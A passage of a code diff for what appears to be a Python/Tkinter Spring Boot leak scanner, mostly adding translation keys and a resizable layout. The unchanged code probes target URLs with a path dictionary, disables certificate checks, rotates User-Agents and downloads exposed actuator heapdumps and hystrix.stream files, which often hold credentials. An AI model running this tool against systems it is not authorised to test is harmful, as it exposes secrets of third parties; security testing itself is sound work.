padx=5, pady=5) - self.frame_right.place(x=910,y=0) + lab_rules = Label(self.frame_right, text=tr("fofa.rules_title"), fg="black", font=("宋体", 12)) - Label(self.frame_right, text="查询语法", fg="black", font=("宋体", 12)).place(x=110, y=10) - - self.vbar_rules = ttk.Scrollbar(windows) - self.fofa_rules = Text(self.frame_right, width=41, height=38, yscrollcommand=self.vbar_rules.set) - self.fofa_rules.place(x=0, y=50) + self.vbar_rules = ttk.Scrollbar(self.frame_right) + self.fofa_rules = Text(self.frame_right, yscrollcommand=self.vbar_rules.set) self.vbar_rules.config(command=self.fofa_rules.yview) - self.vbar_rules.pack(side=tk.LEFT, fill="y") - self.fofa_rules.insert(tk.INSERT,Banner.FofaInfo()) self.fofa_rules.config(state='disable') + + # mesures réelles (constantes pour la langue courante), positions via _layout() + self._bw_set = self.btnSet.winfo_reqwidth() + 24 + self._lw = lab_rule.winfo_reqwidth() + self._bw_q = self.btnQery.winfo_reqwidth() + 24 + self._bw_o = self.btnOutput.winfo_reqwidth() + 24 + self._hh = max(self.asset_rule.winfo_reqheight(), self.btnSet.winfo_reqheight()) + self._lab_rule = lab_rule + self._lab_rules = lab_rules + self._w = 0 + self._h = 0 + + self._layout() + self._apply_minsize() + windows.bind("", self._on_configure) + + def _on_configure(self, event): + # recalcul quand la taille de l'onglet change (fenêtre redimensionnable) + if event.widget is self.windows and (event.width, event.height) != (self._w, self._h): + self._layout() + + def _apply_minsize(self): + top = self.windows.winfo_toplevel() + # largeur mini : simulée pour garantir ≥150px au champ de recherche + rex = self._bw_set + 10 + self._lw + 10 + need_w = 1200 + while need_w < 2600: + frw = max(260, int(need_w * 0.235)) + flw = need_w - frw - 35 + if flw - rex - self._bw_q - self._bw_o - 30 >= 150: + break + need_w += 25 + need_h = 8 + self._hh + 12 + 200 + try: + cur_w, cur_h = top.wm_minsize() + cur_w, cur_h = int(cur_w), int(cur_h) + except Exception: + cur_w = cur_h = 1 + top.minsize(max(cur_w, need_w), max(cur_h, need_h)) + + def _layout(self): + w, h = self.windows.winfo_width(), self.windows.winfo_height() + if w < 100: w = self.windows.winfo_screenwidth() - 4 + if h < 100: h = self.windows.winfo_screenheight() - 120 + self._w, self._h = w, h + + # répartition gauche (résultats) / droite (syntaxe) + frw = max(260, int(w * 0.235)) + flw = max(400, w - frw - 35) + frx = 10 + flw + 15 + self.frame_left.place(x=10, y=0, width=flw, height=h - 10) + self.frame_right.place(x=frx, y=0, width=frw, height=h - 10) + + setx = 0 + labx = setx + self._bw_set + 10 + rex = labx + self._lw + 10 + # champ de recherche : largeur réellement disponible entre libellé et boutons + rew = max(100, flw - rex - self._bw_q - self._bw_o - 30) + hy = 8 + self.btnSet.place(x=setx, y=hy, width=self._bw_set, height=self._hh) + self._lab_rule.place(x=labx, y=hy + 4) + self.asset_rule.place(x=rex, y=hy, width=rew) + self.btnQery.place(x=flw - self._bw_o - self._bw_q - 10, y=hy, width=self._bw_q, height=self._hh) + self.btnOutput.place(x=flw - self._bw_o - 10, y=hy, width=self._bw_o, height=self._hh) + + ty = hy + self._hh + 12 + th = max(120, h - ty - 14) + self.asset_info.place(x=0, y=ty, width=flw - 18, height=th) + self.vbar_asset.place(x=flw - 16, y=ty, width=14, height=th) + + self._lab_rules.place(x=(frw - self._lab_rules.winfo_reqwidth()) // 2, y=12) + self.fofa_rules.place(x=0, y=ty, width=frw - 18, height=th) + self.vbar_rules.place(x=frw - 16, y=ty, width=14, height=th) def urlCheck(self): rule = self.asset_rule.get() check = InputCheck.InputCheck() @@ -93,12 +153,12 @@ def btnfofa(self): rule = self.asset_rule.get() check = self.urlCheck() if check == True: - messagebox.showerror("错误","搜索规则功能为空!") + messagebox.showerror(tr("common.error"),tr("fofa.rule_empty")) else: try: self.fofa(rule) except: - messagebox.showerror("错误", "搜索语法错误!") + messagebox.showerror(tr("common.error"), tr("fofa.syntax_err")) self.btnOutput.config(state="normal") self.btnQery.config(state="normal") def fofa(self,rule): @@ -142,6 +202,6 @@ def Output(self): with open("./save/fofa.txt","a") as f: f.write(i) f.write("\n") - messagebox.showinfo("提示", "导出成功./save/fofa.txt!") + messagebox.showinfo(tr("common.info"), tr("fofa.export_ok")) self.btnQery.config(state="normal") self.btnOutput.config(state="normal") diff --git a/pages/ScanPage.py b/pages/ScanPage.py index 2c42b52..141cde3 100644 --- a/pages/ScanPage.py +++ b/pages/ScanPage.py @@ -1,360 +1,421 @@ -# coding:utf-8 - -from tkinter import messagebox,ttk,filedialog -from tqdm import tqdm - -import tkinter.font as tkFont -import tkinter as tk -import os ,requests , shutil, threading - -from util import SystemCheck -from util import RandomUA -from util import JsonMethod -from util import InputCheck -from util import URLMethod -from util import LogsMethod -from com import Banner - -class ScanPage: - def __init__(self,windows): - # 操作系统类型 - self.sysType = SystemCheck.SystemType() - # 功能中proxy logs载入配置 - self.configLoad = JsonMethod.JsonMethod() - self.urlmethod = URLMethod.URLMethod() - self.logmethod = LogsMethod.LogsMethod() - # 泄露扫描 - tk.Label(windows,text="检测URL", font=("宋体", 12)).place(x=70,y=30) - tk.Label(windows,text="User-Agent", font=("宋体", 12)).place(x=50,y=60) - tk.Label(windows,text="信息泄露字典", font=("宋体", 12)).place(x=40,y=90) - tk.Label(windows,text="下载地址", font=("宋体", 12)).place(x=750,y=30) - # 泄露扫描控件 - self.url = tk.Entry(windows, width=75, bg='Ivory') - self.url.place(x=150,y=30) - - self.User_Agent = ttk.Combobox(windows,width=72) - ua_list = ['自动'] - self.ua = RandomUA.RandomUA() - uas = self.ua.UserAgentList(100) - for i in uas: - ua_list.append(i) - self.User_Agent['value'] = ua_list - self.User_Agent.current(0) - self.User_Agent.place(x=150,y=60) - - self.info_dict = tk.Entry(windows, width=75, bg='Ivory') - self.info_dict.place(x=150,y=90) - self.info_dict.insert(0, "./dict/DirDict.txt") - # 泄露下载器 - self.url_download = tk.Entry(windows, width=44, bg='Ivory') - self.url_download.place(x=820,y=30) - - self.btnScan = tk.Button(windows,text="扫描", width=15, fg="white", font=tkFont.Font(size=12),command=self.scan, - height=1,bg="gray", activeforeground="white", activebackground="black",cursor="hand2") - self.btnScan.place(x=280,y=118) - self.btnDownload = tk.Button(windows,text="下载", width=15, fg="white", font=tkFont.Font(size=12),command=self.download, - height=2,bg="gray", activeforeground="white", activebackground="black",cursor="hand2") - self.btnDownload.place(x=900,y=80) - self.btnUrlsPath = tk.Button(windows,text="浏览", fg="white",bg="gray", activeforeground="white",command=self.urlsPath, - activebackground="black",cursor="hand2") - self.btnUrlsPath.place(x=690,y=25) - self.btnDictPath = tk.Button(windows,text="浏览", fg="white",bg="gray", activeforeground="white",command=self.dictPath, - activebackground="black",cursor="hand2") - self.btnDictPath.place(x=690,y=85) - self.btnDownloadPath = tk.Button(windows,text="浏览", fg="white",bg="gray", activeforeground="white",command=self.downloadPath, - activebackground="black",cursor="hand2") - self.btnDownloadPath.place(x=1145,y=25) - - # 反馈框 - self.vbar = ttk.Scrollbar(windows) - self.info_text = tk.Text(windows,width=102,height=30,yscrollcommand=self.vbar.set) - self.info_text.insert(tk.INSERT,Banner.banner()) - self.info_text.place(x=20,y=150) - self.vbar.config(command=self.info_text.yview) - self.vbar.pack(side=tk.RIGHT, fill="y") - # 请求线程锁 - # self.lock = threading.RLock() - self.vbar_donwload = ttk.Scrollbar(windows) - self.info_download = tk.Text(windows, width=64, height=30, yscrollcommand=self.vbar_donwload.set) - self.info_download.insert(tk.INSERT, Banner.Download()) - self.info_download.place(x=750, y=150) - self.vbar_donwload.config(command=self.info_download.yview) - self.vbar_donwload.pack(side=tk.LEFT, fill="y") - - def scan(self): - try: - threadScan = threading.Thread(target=self.Scan) - threadScan.setDaemon(True) - threadScan.start() - # threadFofa.join() - except Exception as e : - messagebox.showinfo('error', f'unkown error\n{e}') - def Scan(self): - self.btnScan.config(state="disable") - switch = self.switchCheck() - proxy_status = switch['proxyswitch'] - log_status = switch['logswitch'] - if proxy_status != 0: - proxyconfig = self.configLoad.ProxyConfigRead() - - ip = proxyconfig['ip'] - port = proxyconfig['port'] - proxy = "{ip}:{port}".format(ip=ip,port=port) - proxies = { - "http": "http://%(proxy)s/" % {'proxy': proxy}, - "https": "http://%(proxy)s/" % {'proxy': proxy} - } - else: - proxies = None - - ua = self.User_Agent.get() - if ua == "自动": - ua = self.ua.UserAgent() - check = self.scanInputCheck() - if check == False: - messagebox.showerror("错误","URL或字典信息错误!") - else: - dir_file = self.info_dict.get() - if check[0] == "isFile": - urls = check[-1] - for i in urls: - i = self.urlmethod.StandURL(i) - try: - self.SpringBootScan(ua,i,dir_file,proxy_status,log_status,proxies) - self.count() - except: - back = "{url}SpringBoot信息泄露扫描中的未知错误".format(url=i) - self.info_text.insert(tk.INSERT, back) - self.info_text.insert(tk.INSERT, '\n') - if log_status == 1: - self.logmethod.errorlogs(back) - else: - url = self.urlmethod.StandURL(check[-1]) - try: - self.SpringBootScan(ua,url,dir_file,proxy_status,log_status,proxies) - self.count() - except: - back = "{url}SpringBoot信息泄露扫描中的未知错误".format(url=url) - self.info_text.insert(tk.INSERT, back) - self.info_text.insert(tk.INSERT, '\n') - if log_status == 1: - self.logmethod.errorlogs(back) - self.btnScan.config(state="normal") - def download(self): - try: - threadDownload = threading.Thread(target=self.Download) - threadDownload.setDaemon(True) - threadDownload.start() - except Exception as e : - messagebox.showinfo('error', f'unkown error\n{e}') - def Download(self): - path1 = "actuator/heapdump" - path2 = "heapdump" - path3 = "heapdump.json" - path4 = "gateway/actuator/heapdump" - path5 = "hystrix.stream" - - check200 = "" - check401 = "" - - proxies = "" - - self.btnDownload.config(state="disable") - switch = self.switchCheck() - proxy_status = switch['proxyswitch'] - log_status = switch['logswitch'] - if proxy_status != 0: - proxyconfig = self.configLoad.ProxyConfigRead() - ip = proxyconfig['ip'] - port = proxyconfig['port'] - proxy = "{ip}:{port}".format(ip=ip,port=port) - proxies = { - "http": "http://%(proxy)s/" % {'proxy': proxy}, - "https": "http://%(proxy)s/" % {'proxy': proxy} - } - # ua = self.User_Agent.get() - # if ua == "自动": - # ua = self.ua.UserAgent() - check = self.downloadInputCheck() - if check == False: - messagebox.showerror("错误","地址信息错误,请填写完整URL!\neg:https://www.baidu.com") - else: - if check[0] == "isFile": - urls = check[-1] - for i in urls: - i = self.urlmethod.StandURL(i) - filedir = i.split("/")[-2].replace(":",'.') - save_path = './save/{filedir}'.format(filedir=filedir) - try: - self.SpringBootDump(i, path1, 'actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) - self.SpringBootDump(i, path2, 'heapdump', save_path,proxy_status, log_status, proxies,check200) - self.SpringBootDump(i, path3, 'heapdump.json', save_path,proxy_status, log_status, proxies,check200) - self.SpringBootDump(i, path4, 'gateway.actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) - self.SpringBootDump(i, path5, 'hystrix.stream', save_path,proxy_status, log_status, proxies,(check200 or check401)) - except: - back = "{url} SpringBoot信息泄露下载中的未知错误".format(url=i) - self.info_download.insert(tk.INSERT, back) - self.info_download.insert(tk.INSERT, '\n') - if log_status == 1: - self.logmethod.errorlogs(back) - else: - url = self.urlmethod.StandURL(check[-1]) - filedir = url.split("/")[-2].replace(":",'.') - save_path = './save/{filedir}'.format(filedir=filedir) - try: - self.SpringBootDump(url, path1,'actuator.heapdump',save_path,proxy_status,log_status,proxies,check200) - self.SpringBootDump(url, path2, 'heapdump', save_path,proxy_status, log_status, proxies,check200) - self.SpringBootDump(url, path3, 'heapdump.json', save_path,proxy_status, log_status, proxies,check200) - self.SpringBootDump(url, path4, 'gateway.actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) - self.SpringBootDump(url, path5, 'hystrix.stream', save_path,proxy_status, log_status, proxies,(check200 or check401)) - except: - back = "{url} SpringBoot信息泄露下载中的未知错误".format(url=url) - self.info_download.insert(tk.INSERT, back) - self.info_download.insert(tk.INSERT, '\n') - if log_status == 1: - self.logmethod.errorlogs(back) - self.btnDownload.config(state="normal") - def SpringBootDump(self,url,path,fname,dumpdir,proxyStaus,logStaus,proxies,checkRqe): - path = url + path - if str(requests.head(path)) != checkRqe: - back = f"[-] 在 {path} 未发现{fname}敏感文件泄露 " .format(path=path,fname=fname) - self.info_download.insert(tk.INSERT, back) - self.info_download.insert(tk.INSERT, '\n') - else: - back = f"[+] 在 {path} 发现{fname}敏感文件泄露 ".format(path=path,fname=fname) - self.info_download.insert(tk.INSERT, back) - self.info_download.insert(tk.INSERT, '\n') - if not os.path.exists(dumpdir): - os.mkdir(dumpdir) - self.DownloadFile(path,fname,proxyStaus, proxies) - shutil.move(fname, dumpdir) - if logStaus == 1: - self.logmethod.dumplogs(back) - def DownloadFile(self,url, fname, proxyStaus, proxies): - requests.packages.urllib3.disable_warnings() - if proxyStaus == 1: - resp = requests.get(url, timeout=6, stream=True, verify=False, proxies=proxies) - else: - resp = requests.get(url, timeout=6, stream=True, verify=False) - total = int(resp.headers.get('content-length', 0)) - with open(fname, 'wb') as file, tqdm( - desc=fname, - total=total, - unit='iB', - unit_scale=True, - unit_divisor=1024, - ) as bar: - for data in resp.iter_content(chunk_size=1024): - size = file.write(data) - bar.update(size) - def downloadPath(self): - self.dirsPath(self.url_download) - def urlsPath(self): - self.dirsPath(self.url) - def dictPath(self): - self.dirsPath(self.info_dict) - def dirsPath(self,entry): - filetypes=[('txt','*.txt'),('all','*.*')] - path = filedialog.askopenfilename(title='文件选择',filetypes=filetypes) - # systype - if self.sysType == "Windows": - # windows - path = path.replace('/','\\') - else: - # linux - path = path.replace('\\','/') - entry.delete(0,'end') - entry.insert('insert',path) - def count(self): - count = len(open("./save/urlout.txt", 'r').readlines()) - if count >= 1: - show = "[→] 发现目标URL存在SpringBoot敏感信息泄露,已经导出至 urlout.txt ,共%d行记录" % count - self.info_text.insert(tk.INSERT,show) - self.info_text.insert(tk.INSERT, '\n') - def SpringBootScan(self,ua,url,dir_file,proxyStaus,logStaus,proxies): - if not os.path.exists("./save/urlout.txt"): - f = open("./save/urlout.txt","a") - f.close() - u = self.urlmethod.StandURL(url) - # 读取泄露字典 - with open(dir_file, 'r') as web: - webs = web.readlines() - for web in webs: - web = web.strip() - url = u + web - try: - header = {"User-Agent": ua} - requests.packages.urllib3.disable_warnings() - if proxyStaus == 1: - r = requests.get(url=url, headers=header, timeout=6, verify=False, proxies=proxies) # 设置超时6秒 - else: - r = requests.get(url=url, headers=header, timeout=6, verify=False) # 设置超时6秒 - if r.status_code == 503: - pass - elif r.status_code == 200: - back = "[+] 状态码%d" % r.status_code + ' ' + "信息泄露URL为:" + url + ' ' + "页面长度为:" + str(len(r.content)) - self.info_text.insert(tk.INSERT,back) - self.info_text.insert(tk.INSERT, '\n') - f = open("./save/urlout.txt", "a") - f.write(back + '\n') - f.close() - else: - back = "[-] 状态码%d" % r.status_code + ' ' + "无法访问URL为:" + url - self.info_text.insert(tk.INSERT,back) - self.info_text.insert(tk.INSERT, '\n') - except: - back = "[-] URL为 " + url + " 的目标积极拒绝请求,予以跳过!" - self.info_text.insert(tk.INSERT,back) - self.info_text.insert(tk.INSERT, '\n') - break - if logStaus == 1: - self.logmethod.sacnlogs(back) - def scanInputCheck(self): - check = InputCheck.InputCheck() - - url = self.url.get() - # ua = self.User_Agent.get() - dicts = self.info_dict.get() - - dicts_check = check.FileOrUrl(dicts) - - # ua_check = check.isNull(ua) - - if dicts_check != "isFile": - return False - else: - url_check = check.FileOrUrl(url) - if url_check == "isFile" : - with open(url,'r') as f: - urls = f.read().strip('\n').split("\n") - return ["isFile",urls] - elif url_check == "isURL": - return ["isURL",url] - else: - return False - def downloadInputCheck(self): - check = InputCheck.InputCheck() - url = self.url_download.get() - url_check = check.isNull(url) - - if url_check == True: - return False - else: - url_check = check.FileOrUrl(url) - if url_check == "isFile": - with open(url,'r') as f: - urls = f.read().strip('\n').split("\n") - return ["isFile",urls] - elif url_check == "isURL": - return ["isURL",url] - else: - return False - def switchCheck(self): - proxyconfig = self.configLoad.ProxyConfigRead() - logsconfig = self.configLoad.LogsConfigRead() - proxyswitch = proxyconfig['switch'] - logswitch = logsconfig['switch'] - return {"proxyswitch":proxyswitch,"logswitch":logswitch} -if __name__ == "__main__": - pass - +# coding:utf-8 + +from tkinter import messagebox,ttk,filedialog +from tqdm import tqdm + +import tkinter.font as tkFont +import tkinter as tk +import os ,requests , shutil, threading + +from util import SystemCheck +from util import RandomUA +from util import JsonMethod +from util import InputCheck +from util import URLMethod +from util import LogsMethod +from util.Translate import tr +from com import Banner + +class ScanPage: + def __init__(self,windows): + # 操作系统类型 + self.sysType = SystemCheck.SystemType() + # 功能中proxy logs载入配置 + self.configLoad = JsonMethod.JsonMethod() + self.urlmethod = URLMethod.URLMethod() + self.logmethod = LogsMethod.LogsMethod() + # 泄露扫描(mise en page mesurée et redimensionnable) + + lab_url = tk.Label(windows, text=tr("scan.target_url"), font=("宋体", 12)) + lab_ua = tk.Label(windows, text="User-Agent", font=("宋体", 12)) + lab_dict = tk.Label(windows, text=tr("scan.dict_label"), font=("宋体", 12)) + lab_dl = tk.Label(windows, text=tr("scan.download_url"), font=("宋体", 12)) + + self.url = tk.Entry(windows, bg='Ivory') + self.info_dict = tk.Entry(windows, bg='Ivory') + self.url_download = tk.Entry(windows, bg='Ivory') + self.User_Agent = ttk.Combobox(windows) + ua_list = [tr("common.auto")] + self.ua = RandomUA.RandomUA() + uas = self.ua.UserAgentList(100) + for i in uas: + ua_list.append(i) + self.User_Agent['value'] = ua_list + self.User_Agent.current(0) + + self.btnScan = tk.Button(windows, text=tr("common.scan"), fg="white", font=tkFont.Font(size=12), + command=self.scan, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") + self.btnDownload = tk.Button(windows, text=tr("scan.download"), fg="white", font=tkFont.Font(size=12), + command=self.download, bg="gray", activeforeground="white", activebackground="black", cursor="hand2") + self.btnUrlsPath = tk.Button(windows, text=tr("common.browse"), fg="white", bg="gray", + activeforeground="white", command=self.urlsPath, activebackground="black", cursor="hand2") + self.btnDictPath = tk.Button(windows, text=tr("common.browse"), fg="white", bg="gray", + activeforeground="white", command=self.dictPath, activebackground="black", cursor="hand2") + self.btnDownloadPath = tk.Button(windows, text=tr("common.browse"), fg="white", bg="gray", + activeforeground="white", command=self.downloadPath, activebackground="black", cursor="hand2") + + # 反馈框 + self.vbar = ttk.Scrollbar(windows) + self.info_text = tk.Text(windows, yscrollcommand=self.vbar.set) + self.info_text.insert(tk.INSERT, Banner.banner()) + self.vbar.config(command=self.info_text.yview) + self.vbar_donwload = ttk.Scrollbar(windows) + self.info_download = tk.Text(windows, yscrollcommand=self.vbar_donwload.set) + self.info_download.insert(tk.INSERT, Banner.Download()) + self.vbar_donwload.config(command=self.info_download.yview) + self.info_dict.insert(0, "./dict/DirDict.txt") + + # mesures réelles (constantes pour la langue courante), positions via _layout() + self.windows = windows + self._lw = max(lab_url.winfo_reqwidth(), lab_ua.winfo_reqwidth(), lab_dict.winfo_reqwidth()) + self._rw = lab_dl.winfo_reqwidth() + self._eh = max(self.url.winfo_reqheight(), lab_url.winfo_reqheight()) + self._row_h = self._eh + 10 + self._bwb = self.btnUrlsPath.winfo_reqwidth() + 24 + self._btn_h = self.btnScan.winfo_reqheight() + self._lab = (lab_url, lab_ua, lab_dict, lab_dl) + self._w = 0 + self._h = 0 + + self._layout() + self._apply_minsize() + windows.bind("", self._on_configure) + + def _on_configure(self, event): + # recalcul quand la taille de l'onglet change (fenêtre redimensionnable) + if event.widget is self.windows and (event.width, event.height) != (self._w, self._h): + self._layout() + + def _apply_minsize(self): + top = self.windows.winfo_toplevel() + need_w = 10 + self._lw + 15 + 220 + self._bwb + 20 + self._rw + 15 + 220 + self._bwb + 10 + need_h = 25 + 4 * self._row_h + self._btn_h + 20 + 200 + try: + cur_w, cur_h = top.wm_minsize() + cur_w, cur_h = int(cur_w), int(cur_h) + except Exception: + cur_w = cur_h = 1 + top.minsize(max(cur_w, need_w), max(cur_h, need_h)) + + def _layout(self): + w, h = self.windows.winfo_width(), self.windows.winfo_height() + if w < 100: w = self.windows.winfo_screenwidth() - 4 + if h < 100: h = self.windows.winfo_screenheight() - 120 + self._w, self._h = w, h + lw, rw, eh, row_h, bwb = self._lw, self._rw, self._eh, self._row_h, self._bwb + lab_url, lab_ua, lab_dict, lab_dl = self._lab + + lx = 10 + ex = lx + lw + 15 + # largeur des champs : fraction de la fenêtre, garantie sans chevauchement + ew = max(200, int((w - ex - rw - 2 * bwb - 65) * 0.48)) + rcx = ex + ew + bwb + 20 # début colonne droite (libellés) + rex = rcx + rw + 15 # champs colonne droite + rew = max(200, w - rex - bwb - 10) + y0 = 25 + y1 = y0 + row_h + y2 = y1 + row_h + yb = y2 + row_h + + lab_url.place(x=lx, y=y0 + 4) + lab_ua.place(x=lx, y=y1 + 4) + lab_dict.place(x=lx, y=y2 + 4) + lab_dl.place(x=rcx, y=y0 + 4) + self.url.place(x=ex, y=y0, width=ew) + self.User_Agent.place(x=ex, y=y1, width=ew) + self.info_dict.place(x=ex, y=y2, width=ew) + self.url_download.place(x=rex, y=y0, width=rew) + self.btnUrlsPath.place(x=ex + ew + 10, y=y0, width=bwb, height=eh) + self.btnDictPath.place(x=ex + ew + 10, y=y2, width=bwb, height=eh) + self.btnDownloadPath.place(x=rex + rew + 10, y=y0, width=bwb, height=eh) + self.btnScan.place(x=ex, y=yb, width=self.btnScan.winfo_reqwidth() + 40, height=self._btn_h + 6) + self.btnDownload.place(x=rex, y=y1, width=self.btnDownload.winfo_reqwidth() + 40, height=self._btn_h + 6) + + # 反馈框 + ty = yb + self._btn_h + 20 + th = max(150, h - ty - 15) + half = (w - 30) // 2 + tw = half - 18 + self.info_text.place(x=10, y=ty, width=tw, height=th) + self.vbar.place(x=10 + tw + 2, y=ty, width=14, height=th) + rx = 10 + half + 10 + self.info_download.place(x=rx, y=ty, width=tw, height=th) + self.vbar_donwload.place(x=rx + tw + 2, y=ty, width=14, height=th) + + def scan(self): + try: + threadScan = threading.Thread(target=self.Scan) + threadScan.setDaemon(True) + threadScan.start() + # threadFofa.join() + except Exception as e : + messagebox.showinfo('error', f'unkown error\n{e}') + def Scan(self): + self.btnScan.config(state="disable") + switch = self.switchCheck() + proxy_status = switch['proxyswitch'] + log_status = switch['logswitch'] + if proxy_status != 0: + proxyconfig = self.configLoad.ProxyConfigRead() + + ip = proxyconfig['ip'] + port = proxyconfig['port'] + proxy = "{ip}:{port}".format(ip=ip,port=port) + proxies = { + "http": "http://%(proxy)s/" % {'proxy': proxy}, + "https": "http://%(proxy)s/" % {'proxy': proxy} + } + else: + proxies = None + + ua = self.User_Agent.get() + if ua == tr("common.auto"): + ua = self.ua.UserAgent() + check = self.scanInputCheck() + if check == False: + messagebox.showerror(tr("common.error"),tr("scan.url_or_dict_err")) + else: + dir_file = self.info_dict.get() + if check[0] == "isFile": + urls = check[-1] + for i in urls: + i = self.urlmethod.StandURL(i) + try: + self.SpringBootScan(ua,i,dir_file,proxy_status,log_status,proxies) + self.count() + except: + back = tr("scan.unknown_scan_err", url=i) + self.info_text.insert(tk.INSERT, back) + self.info_text.insert(tk.INSERT, '\n') + if log_status == 1: + self.logmethod.errorlogs(back) + else: + url = self.urlmethod.StandURL(check[-1]) + try: + self.SpringBootScan(ua,url,dir_file,proxy_status,log_status,proxies) + self.count() + except: + back = tr("scan.unknown_scan_err", url=url) + self.info_text.insert(tk.INSERT, back) + self.info_text.insert(tk.INSERT, '\n') + if log_status == 1: + self.logmethod.errorlogs(back) + self.btnScan.config(state="normal") + def download(self): + try: + threadDownload = threading.Thread(target=self.Download) + threadDownload.setDaemon(True) + threadDownload.start() + except Exception as e : + messagebox.showinfo('error', f'unkown error\n{e}') + def Download(self): + path1 = "actuator/heapdump" + path2 = "heapdump" + path3 = "heapdump.json" + path4 = "gateway/actuator/heapdump" + path5 = "hystrix.stream" + + check200 = "" + check401 = "" + + proxies = "" + + self.btnDownload.config(state="disable") + switch = self.switchCheck() + proxy_status = switch['proxyswitch'] + log_status = switch['logswitch'] + if proxy_status != 0: + proxyconfig = self.configLoad.ProxyConfigRead() + ip = proxyconfig['ip'] + port = proxyconfig['port'] + proxy = "{ip}:{port}".format(ip=ip,port=port) + proxies = { + "http": "http://%(proxy)s/" % {'proxy': proxy}, + "https": "http://%(proxy)s/" % {'proxy': proxy} + } + # ua = self.User_Agent.get() + # if ua == tr("common.auto"): + # ua = self.ua.UserAgent() + check = self.downloadInputCheck() + if check == False: + messagebox.showerror(tr("common.error"),tr("scan.url_incomplete")) + else: + if check[0] == "isFile": + urls = check[-1] + for i in urls: + i = self.urlmethod.StandURL(i) + filedir = i.split("/")[-2].replace(":",'.') + save_path = './save/{filedir}'.format(filedir=filedir) + try: + self.SpringBootDump(i, path1, 'actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) + self.SpringBootDump(i, path2, 'heapdump', save_path,proxy_status, log_status, proxies,check200) + self.SpringBootDump(i, path3, 'heapdump.json', save_path,proxy_status, log_status, proxies,check200) + self.SpringBootDump(i, path4, 'gateway.actuator.heapdump', save_path,proxy_status, log_status, proxies,check200) + self.SpringBootDump(i, path5, 'hystrix.stream', save_path,proxy_status, log_status, proxies,(check200 or check401)) + except: + back = tr("scan.unknown_download_err", url=i) + self.info_download.insert(tk.INSERT, back) + self.info_download.insert(tk.INSERT, '\n') + if log_status == 1: + self.logmethod.errorlogs(back) + else: + url = self.urlmethod.StandURL(check[-1]) + filedir = url.split("/")[-2].replace(":",'.') + save_path = './save/{filedir}'.format(filedir=filedir) + try: + self.SpringBootDump(url, path1,'actuator.heapdump',save_path,proxy_status,log_status,proxies,check200) + self.SpringBootDump(url, path2, 'heapdump', save_path,proxy_status,log_status,proxies,check200) + self.SpringBootDump(url, path3, 'heapdump.json', save_path,proxy_status,log_status,proxies,check200) + self.SpringBootDump(url, path4, 'gateway.actuator.heapdump', save_path,proxy_status,log_status,proxies,check200) + self.SpringBootDump(url, path5, 'hystrix.stream', save_path,proxy_status,log_status,proxies,(check200 or check401)) + except: + back = tr("scan.unknown_download_err", url=url) + self.info_download.insert(tk.INSERT, back) + self.info_download.insert(tk.INSERT, '\n') + if log_status == 1: + self.logmethod.errorlogs(back) + self.btnDownload.config(state="normal") + def SpringBootDump(self,url,path,fname,dumpdir,proxyStaus,logStaus,proxies,checkRqe): + path = url + path + if str(requests.head(path)) != checkRqe: + back = tr("scan.no_leak", path=path, fname=fname) + self.info_download.insert(tk.INSERT, back) + self.info_download.insert(tk.INSERT, '\n') + else: + back = tr("scan.found_leak", path=path, fname=fname) + self.info_download.insert(tk.INSERT, back) + self.info_download.insert(tk.INSERT, '\n') + if not os.path.exists(dumpdir): + os.mkdir(dumpdir) + self.DownloadFile(path,fname,proxyStaus, proxies) + shutil.move(fname, dumpdir) + if logStaus == 1: + self.logmethod.dumplogs(back) + def DownloadFile(self,url, fname, proxyStaus, proxies): + requests.packages.urllib3.disable_warnings() + if proxyStaus == 1: + resp = requests.get(url, timeout=6, stream=True, verify=False, proxies=proxies) + else: + resp = requests.get(url, timeout=6, stream=True, verify=False) + total = int(resp.headers.get('content-length', 0)) + with open(fname, 'wb') as file, tqdm( + desc=fname, + total=total, + unit='iB', + unit_scale=True, + unit_divisor=1024, + ) as bar: + for data in resp.iter_content(chunk_size=1024): + size = file.write(data) + bar.update(size) + def downloadPath(self): + self.dirsPath(self.url_download) + def urlsPath(self): + self.dirsPath(self.url) + def dictPath(self): + self.dirsPath(self.info_dict) + def dirsPath(self,entry): + filetypes=[('txt','*.txt'),('all','*.*')] + path = filedialog.askopenfilename(title=tr("common.file_select"),filetypes=filetypes) + # systype + if self.sysType == "Windows": + # windows + path = path.replace('/','\\') + else: + # linux + path = path.replace('\\','/') + entry.delete(0,'end') + entry.insert('insert',path) + def count(self): + count = len(open("./save/urlout.txt", 'r').readlines()) + if count >= 1: + show = tr("scan.found_export", count=count) + self.info_text.insert(tk.INSERT,show) + self.info_text.insert(tk.INSERT, '\n') + def SpringBootScan(self,ua,url,dir_file,proxyStaus,logStaus,proxies): + if not os.path.exists("./save/urlout.txt"): + f = open("./save/urlout.txt","a") + f.close() + u = self.urlmethod.StandURL(url) + # 读取泄露字典 + with open(dir_file, 'r') as web: + webs = web.readlines() + for web in webs: + web = web.strip() + url = u + web + try: + header = {"User-Agent": ua} + requests.packages.urllib3.disable_warnings() + if proxyStaus == 1: + r = requests.get(url=url, headers=header, timeout=6, verify=False, proxies=proxies) # 设置超时6秒 + else: + r = requests.get(url=url, headers=header, timeout=6, verify=False) # 设置超时6秒 + if r.status_code == 503: + pass + elif r.status_code == 200: + back = tr("scan.status_leak", code=r.status_code, url=url, length=len(r.content)) + self.info_text.insert(tk.INSERT,back) + self.info_text.insert(tk.INSERT, '\n') + f = open("./save/urlout.txt", "a") + f.write(back + '\n') + f.close() + else: + back = tr("scan.status_fail", code=r.status_code, url=url) + self.info_text.insert(tk.INSERT,back) + self.info_text.insert(tk.INSERT, '\n') + except: + back = tr("scan.refused", url=url) + self.info_text.insert(tk.INSERT,back) + self.info_text.insert(tk.INSERT, '\n') + break + if logStaus == 1: + self.logmethod.sacnlogs(back) + def scanInputCheck(self): + check = InputCheck.InputCheck() + + url = self.url.get() + # ua = self.User_Agent.get() + dicts = self.info_dict.get() + + dicts_check = check.FileOrUrl(dicts) + + # ua_check = check.isNull(ua) + + if dicts_check != "isFile": + return False + else: + url_check = check.FileOrUrl(url) + if url_check == "isFile" : + with open(url,'r') as f: + urls = f.read().strip('\n').split("\n") + return ["isFile",urls] + elif url_check == "isURL": + return ["isURL",url] + else: + return False + def downloadInputCheck(self): + check = InputCheck.InputCheck() + url = self.url_download.get() + url_check = check.isNull(url) + + if url_check == True: + return False + else: + url_check = 